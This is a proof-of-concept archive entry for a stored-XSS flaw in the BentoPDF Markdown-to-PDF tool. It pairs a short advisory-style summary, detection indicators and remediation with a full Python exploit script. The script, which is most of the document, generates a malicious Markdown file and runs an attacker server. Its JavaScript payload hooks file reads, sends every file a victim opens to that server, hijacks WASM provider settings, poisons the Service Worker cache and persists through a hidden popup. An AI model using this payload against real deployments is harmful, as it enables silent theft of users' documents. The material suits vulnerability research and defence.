PoC Archive PoC Archive
Critical CVE-2026-41653 patched

BentoPDF Stored XSS to File Exfiltration (CVE-2026-41653)

by Astaruf (nstsec.com) · 2026-07-05

Severity
Critical
CVE
CVE-2026-41653
Category
web
Affected product
BentoPDF (self-hosted browser-side PDF toolbox)
Affected versions
<= 2.8.2 (fixed in 2.8.3)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherAstaruf (nstsec.com)
CVE / AdvisoryCVE-2026-41653
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsxss, stored-xss, file-exfiltration, client-side, service-worker, wasm-hijack, pdf-toolbox, markdown-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemBentoPDF (self-hosted browser-side PDF toolbox)
Versions Affected<= 2.8.2 (fixed in 2.8.3)
Language / PlatformPython PoC server + JavaScript payload targeting a browser client
Authentication RequiredNo
Network Access RequiredYes

Summary

BentoPDF’s Markdown-to-PDF tool renders user-supplied Markdown through markdown-it with html: true enabled and injects the resulting HTML directly into the DOM via innerHTML, with no sanitizer (e.g. DOMPurify) in between. A crafted .md file containing an <img onerror=...> tag therefore executes arbitrary JavaScript in the BentoPDF origin as soon as the victim previews it. Because BentoPDF processes every file (PDF, image, document) entirely client-side across all of its tools, a single stored-XSS trigger is enough for the injected payload to hook FileReader and file-input handlers app-wide and silently exfiltrate every file the victim subsequently opens, persisting across tool navigations via a hidden popup and, on HTTPS deployments, via Service Worker cache poisoning.


Vulnerability Details

Root Cause

markdown-editor.ts renders Markdown with markdown-it’s html: true option (allowing raw HTML/event-handler pass-through) and assigns the rendered output straight to preview.innerHTML with no output sanitization and no restrictive Content-Security-Policy to fall back on.

Attack Vector

  1. Attacker crafts a poc_report.md file containing an <img src=x onerror=...> payload that loads a remote script when rendered.
  2. Victim opens the file in BentoPDF’s Markdown-to-PDF tool; the unsanitized innerHTML assignment executes the onerror handler.
  3. The loaded payload script runs four stages: hijacks the bentopdf:wasm-providers localStorage entry, spawns a hidden popup that monitors tool navigation, hooks FileReader/file-input events, and (on HTTPS) poisons the Service Worker cache.
  4. Every file the victim subsequently opens in any BentoPDF tool during the session is POSTed to the attacker’s listening server.

Impact

Silent, session-wide exfiltration of every document a victim processes in BentoPDF, plus potential WASM supply-chain hijack and persistent Service Worker cache poisoning beyond the current session on HTTPS deployments.


Environment / Lab Setup

Target:   Self-hosted BentoPDF instance <= 2.8.2, victim browser
Attacker: Python 3, network path reachable from the victim's browser

Proof of Concept

PoC Script

See poc.py in this folder.

1
python3 poc.py --lhost <YOUR_IP> --lport 9999

The script generates a malicious poc_report.md file and starts a local HTTP server that serves the JavaScript payload and captures exfiltrated files into a loot/ directory. When the victim opens the generated Markdown file in BentoPDF’s Markdown-to-PDF tool, the payload fires and every subsequent file the victim touches is exfiltrated to the attacker’s server.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected outbound network requests from the BentoPDF browser tab to external hosts
  • Modified localStorage['bentopdf:wasm-providers'] value pointing to a non-default host
  • Presence of an unexpected registered Service Worker (/sw.js) or poisoned bentopdf-* cache entries

Remediation

ActionDetail
Primary fixUpgrade to BentoPDF v2.8.3, which applies DOMPurify sanitization at all innerHTML sinks, strict Mermaid security level, a WASM provider allowlist, and a full CSP header set
Interim mitigationAvoid opening untrusted Markdown files in BentoPDF; deploy a restrictive Content-Security-Policy on self-hosted instances until upgraded

References


Notes

Mirrored from https://github.com/Astaruf/CVE-2026-41653 on 2026-07-05. Only one illustrative screenshot (docs/2.png) was kept from the original repository’s evidence set.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
#!/usr/bin/env python3
import argparse
import json
import os
import re
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler

RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
BLUE   = "\033[94m"
WHITE  = "\033[97m"
BOLD   = "\033[1m"
RESET  = "\033[0m"

LOOT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "loot")

_log_file = None
_ANSI_RE  = re.compile(r'\x1b\[[0-9;]*m')

def _print(msg):
    print(msg)
    if _log_file:
        _log_file.write(_ANSI_RE.sub('', msg) + '\n')
        _log_file.flush()

PAYLOAD_TEMPLATE = r"""(async function(){
  var C2 = '__C2_URL__';

  function report(endpoint, data) {
    fetch(C2 + endpoint, {
      method: 'POST', mode: 'cors',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify(data)
    }).catch(function(){});
  }

  var _origWasm = localStorage.getItem('bentopdf:wasm-providers');
  var wasmPayload = {
    pymupdf:     C2 + '/wasm/pymupdf/',
    ghostscript: C2 + '/wasm/gs/',
    cpdf:        C2 + '/wasm/cpdf/'
  };
  localStorage.setItem('bentopdf:wasm-providers', JSON.stringify(wasmPayload));

  report('/hijack', {
    stage: 'wasm_hijack',
    victim: location.href,
    ts: new Date().toISOString()
  });

  if (_origWasm !== null) {
    localStorage.setItem('bentopdf:wasm-providers', _origWasm);
  } else {
    localStorage.removeItem('bentopdf:wasm-providers');
  }

  if (window.isSecureContext && typeof caches !== 'undefined' && 'serviceWorker' in navigator) {
    try {
      var reg = await navigator.serviceWorker.register('/sw.js');
      var sw = reg.installing || reg.waiting || reg.active;
      if (sw && sw.state !== 'activated') {
        await new Promise(function(resolve) {
          sw.addEventListener('statechange', function() {
            if (sw.state === 'activated') resolve();
          });
          if (sw.state === 'activated') resolve();
        });
      }
      if (reg.waiting) {
        reg.waiting.postMessage({ type: 'SKIP_WAITING' });
        await new Promise(function(r){ setTimeout(r, 300); });
      }
      report('/sw', { stage: 'sw_registered', scope: reg.scope });

      var HOOK = ';(function(){if(window.__BENTO_EXFIL__)return;window.__BENTO_EXFIL__=1;var C2="__C2_URL__";var _r=FileReader.prototype.readAsArrayBuffer;FileReader.prototype.readAsArrayBuffer=function(b){var n=b.name||"blob_"+Date.now();b.arrayBuffer().then(function(a){fetch(C2+"/file?name="+encodeURIComponent(n),{method:"POST",mode:"cors",body:a}).catch(function(){})});return _r.call(this,b)};document.addEventListener("change",function(e){var t=e.target;if(t&&t.type==="file"&&t.files){for(var i=0;i<t.files.length;i++){(function(f){f.arrayBuffer().then(function(a){fetch(C2+"/file?name="+encodeURIComponent(f.name),{method:"POST",mode:"cors",body:a}).catch(function(){});});})(t.files[i])}}},true);fetch(C2+"/beacon",{method:"POST",mode:"cors",headers:{"Content-Type":"application/json"},body:JSON.stringify({page:location.href,ts:new Date().toISOString()})}).catch(function(){});})();';

      var jsUrls = new Set();
      document.querySelectorAll('script[src]').forEach(function(s) {
        if (s.src.includes('/assets/')) jsUrls.add(s.src);
      });
      var tools = ['','compress-pdf','merge-pdf','split-pdf','rotate-pdf',
                   'pdf-to-png','pdf-to-jpg','tools','markdown-to-pdf'];
      for (var i = 0; i < tools.length; i++) {
        try {
          var path = tools[i] ? '/' + tools[i] + '.html' : '/';
          var resp = await fetch(path);
          var html = await resp.text();
          var re = /src="([^"]*\/assets\/[^"]*\.js)"/g;
          var m;
          while ((m = re.exec(html)) !== null) {
            jsUrls.add(new URL(m[1], location.origin).href);
          }
        } catch(e) {}
      }

      var cacheNames = await caches.keys();
      var cacheName = cacheNames.find(function(n){ return n.startsWith('bentopdf-'); })
                      || 'bentopdf-v10-static';
      var cache = await caches.open(cacheName);
      var poisoned = 0;
      for (var url of jsUrls) {
        try {
          var r = await fetch(url);
          var txt = await r.text();
          if (txt.includes('__BENTO_EXFIL__')) continue;
          await cache.put(url, new Response(txt + '\n' + HOOK, {
            status: 200,
            headers: { 'Content-Type': 'application/javascript; charset=utf-8' }
          }));
          poisoned++;
        } catch(e) {}
      }
      report('/poison', { stage: 'cache_poisoned', scripts: poisoned, cache: cacheName });
    } catch(e) {
      report('/sw', { stage: 'sw_failed', error: e.message });
    }
  }

  var popupCode = [
    '<html><head><title>.</title></head><body><script>',
    'var C2 = "__C2_URL__";',
    'var target = window.opener;',
    'function inject() {',
    '  try {',
    '    if (!target || target.closed) { window.close(); return; }',
    '    if (target.__BENTO_EXFIL__) return;',
    '    target.__BENTO_EXFIL__ = 1;',
    '    var _r = target.FileReader.prototype.readAsArrayBuffer;',
    '    target.FileReader.prototype.readAsArrayBuffer = function(b) {',
    '      var n = b.name || "blob_" + Date.now();',
    '      b.arrayBuffer().then(function(a) {',
    '        fetch(C2 + "/file?name=" + encodeURIComponent(n),',
    '          {method:"POST", mode:"cors", body:a}).catch(function(){});',
    '      });',
    '      return _r.call(this, b);',
    '    };',
    '    target.document.addEventListener("change", function(e) {',
    '      var t = e.target;',
    '      if (t && t.type === "file" && t.files) {',
    '        for (var i = 0; i < t.files.length; i++) {',
    '          (function(f) {',
    '            f.arrayBuffer().then(function(a) {',
    '              fetch(C2 + "/file?name=" + encodeURIComponent(f.name),',
    '                {method:"POST", mode:"cors", body:a}).catch(function(){});',
    '            });',
    '          })(t.files[i]);',
    '        }',
    '      }',
    '    }, true);',
    '    fetch(C2 + "/beacon", {method:"POST", mode:"cors",',
    '      headers:{"Content-Type":"application/json"},',
    '      body: JSON.stringify({page:target.location.href, ts:new Date().toISOString()})',
    '    }).catch(function(){});',
    '  } catch(e) {',
    '    target.__BENTO_EXFIL__ = 0;',
    '  }',
    '}',
    'setInterval(function() {',
    '  try {',
    '    if (target && !target.closed && !target.__BENTO_EXFIL__) inject();',
    '  } catch(e) {}',
    '}, 1000);',
    'inject();',
    '<\/script></body></html>'
  ].join('\n');

  var popup = window.open('about:blank', '_bentopdf_helper', 'width=1,height=1,left=-100,top=-100');
  if (popup) {
    popup.document.write(popupCode);
    popup.document.close();
    try { popup.blur(); window.focus(); } catch(e) {}
    report('/persist', {
      stage: 'popup_opened',
      victim: location.href
    });
  }

  if (!window.__BENTO_EXFIL__) {
    window.__BENTO_EXFIL__ = 1;

    var _origRead = FileReader.prototype.readAsArrayBuffer;
    FileReader.prototype.readAsArrayBuffer = function(blob) {
      var fname = blob.name || 'unknown_' + Date.now();
      blob.arrayBuffer().then(function(buf) {
        fetch(C2 + '/file?name=' + encodeURIComponent(fname), {
          method: 'POST', mode: 'cors', body: buf
        }).catch(function(){});
      });
      return _origRead.call(this, blob);
    };

    document.addEventListener('change', function(e) {
      if (e.target && e.target.type === 'file' && e.target.files) {
        Array.from(e.target.files).forEach(function(f) {
          f.arrayBuffer().then(function(buf) {
            fetch(C2 + '/file?name=' + encodeURIComponent(f.name), {
              method: 'POST', mode: 'cors', body: buf
            }).catch(function(){});
          });
        });
      }
    }, true);
  }

  report('/complete', {
    stage: 'all_stages_done',
    secure_context: window.isSecureContext,
    sw_available: 'serviceWorker' in navigator,
    caches_available: typeof caches !== 'undefined',
    popup: !!popup,
    victim: location.href,
    ts: new Date().toISOString()
  });

})();
"""

_generated_payload = b""


class C2Handler(BaseHTTPRequestHandler):

    def log_message(self, format, *args):
        pass

    def _ts(self):
        return datetime.now().strftime("%H:%M:%S")

    def _cors(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
        self.send_header("Access-Control-Allow-Headers", "Content-Type")
        self.send_header("Cross-Origin-Resource-Policy", "cross-origin")

    def _respond(self, code=200, body=b"ok", content_type="text/plain"):
        self.send_response(code)
        self._cors()
        self.send_header("Content-Type", content_type)
        self.end_headers()
        self.wfile.write(body)

    def do_OPTIONS(self):
        self.send_response(204)
        self._cors()
        self.end_headers()

    def do_GET(self):
        if self.path == "/poc_payload.js":
            _print(f"  {BLUE}[{self._ts()}] PAYLOAD SERVED{RESET}  ->  {self.client_address[0]}")
            self._respond(200, _generated_payload, "application/javascript; charset=utf-8")
            return

        if "data=" in self.path:
            import base64
            b64 = self.path.split("data=", 1)[1]
            try:
                decoded = base64.b64decode(b64).decode()
                _print(f"  {YELLOW}[{self._ts()}] GET EXFIL{RESET}  {decoded[:200]}")
            except Exception:
                pass

        self._respond(200)

    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length) if length else b""

        path = self.path.split("?")[0]

        if path == "/file":
            fname = "unknown"
            if "name=" in self.path:
                fname = self.path.split("name=", 1)[1].split("&")[0]
                from urllib.parse import unquote
                fname = unquote(fname)
            safe = fname.replace("/", "_").replace("\\", "_")
            outpath = os.path.join(LOOT, f"{datetime.now().strftime('%H%M%S')}_{safe}")
            with open(outpath, "wb") as f:
                f.write(body)
            kb = len(body) / 1024
            _print(f"  {RED}{BOLD}[{self._ts()}] FILE EXFILTRATED{RESET}  "
                   f"{fname} ({kb:.1f} KB)  ->  {outpath}")

        elif path == "/hijack":
            self._print_json("WASM HIJACK", GREEN, body)

        elif path == "/sw":
            self._print_json("SERVICE WORKER", BLUE, body)

        elif path == "/poison":
            self._print_json("CACHE POISONED", RED, body)

        elif path == "/beacon":
            self._print_json("BEACON", YELLOW, body)

        elif path == "/complete":
            self._print_json("PAYLOAD COMPLETE", GREEN, body)

        else:
            _print(f"  [{self._ts()}] POST {self.path}  ({len(body)} bytes)")

        self._respond(200)

    def _print_json(self, label, color, body):
        try:
            data = json.loads(body.decode()) if body else {}
            detail = json.dumps(data, indent=2)
        except Exception:
            detail = body.decode() if body else ""
        _print(f"  {color}{BOLD}[{self._ts()}] {label}{RESET}")
        for line in detail.split("\n"):
            _print(f"    {line}")


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-41653 PoC by Astaruf (https://nstsec.com): BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration"
    )
    parser.add_argument(
        "--lhost", required=True,
        help="Attacker IP reachable by the victim's browser (e.g. 192.168.1.10)"
    )
    parser.add_argument(
        "--lport", type=int, default=9999,
        help="Listening port (default: 9999)"
    )
    parser.add_argument(
        "--loot-dir", default=None,
        help="Directory where exfiltrated files are saved (default: ./loot/)"
    )
    parser.add_argument(
        "--log-file", default=None, metavar="FILE",
        help="Append all events to FILE in addition to stdout (ANSI codes stripped)"
    )
    parser.add_argument(
        "--no-color", action="store_true",
        help="Disable ANSI colors in terminal output"
    )
    args = parser.parse_args()

    global _generated_payload, LOOT, _log_file
    global RED, GREEN, YELLOW, BLUE, WHITE, BOLD, RESET

    if args.no_color:
        RED = GREEN = YELLOW = BLUE = WHITE = BOLD = RESET = ""

    if args.log_file:
        _log_file = open(args.log_file, "a", encoding="utf-8")

    if args.loot_dir:
        LOOT = os.path.abspath(args.loot_dir)
    os.makedirs(LOOT, exist_ok=True)

    c2_url = f"http://{args.lhost}:{args.lport}"
    _generated_payload = PAYLOAD_TEMPLATE.replace("__C2_URL__", c2_url).encode()

    print(f"""{WHITE}{BOLD}
 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝
{RESET}
  {YELLOW}BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration{RESET}
  {YELLOW}PoC by Astaruf (https://nstsec.com){RESET}
""")

    xss_trigger = (
        f'<img src=x onerror="var s=document.createElement(\'script\');'
        f's.src=\'{c2_url}/poc_payload.js\';document.head.appendChild(s)">'
    )

    md_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "poc_report.md")
    with open(md_path, "w", encoding="utf-8") as f:
        f.write(f"# Report\n\n{xss_trigger}\n")

    print(f"{BOLD}{'='*60}{RESET}")
    print(f"  Exfiltration server: {GREEN}{c2_url}{RESET}")
    print(f"  Payload: {GREEN}{c2_url}/poc_payload.js{RESET}")
    print(f"  Loot dir: {LOOT}")
    print(f"{BOLD}{'='*60}{RESET}")
    print(f"\n  Malicious .md file ready:")
    print(f"  {GREEN}{md_path}{RESET}")
    print(f"\n  Send it to the victim and ask them to open it in")
    print(f"  BentoPDF -> Markdown-to-PDF tool.")
    print(f"  The payload fires as soon as the preview renders.\n")
    print(f"{BOLD}{'='*60}{RESET}\n")
    print(f"  Waiting for victims...\n")

    srv = HTTPServer(("0.0.0.0", args.lport), C2Handler)
    try:
        srv.serve_forever()
    except KeyboardInterrupt:
        print(f"\n  {YELLOW}[*] Stopped.{RESET}")
    finally:
        if _log_file:
            _log_file.close()


if __name__ == "__main__":
    main()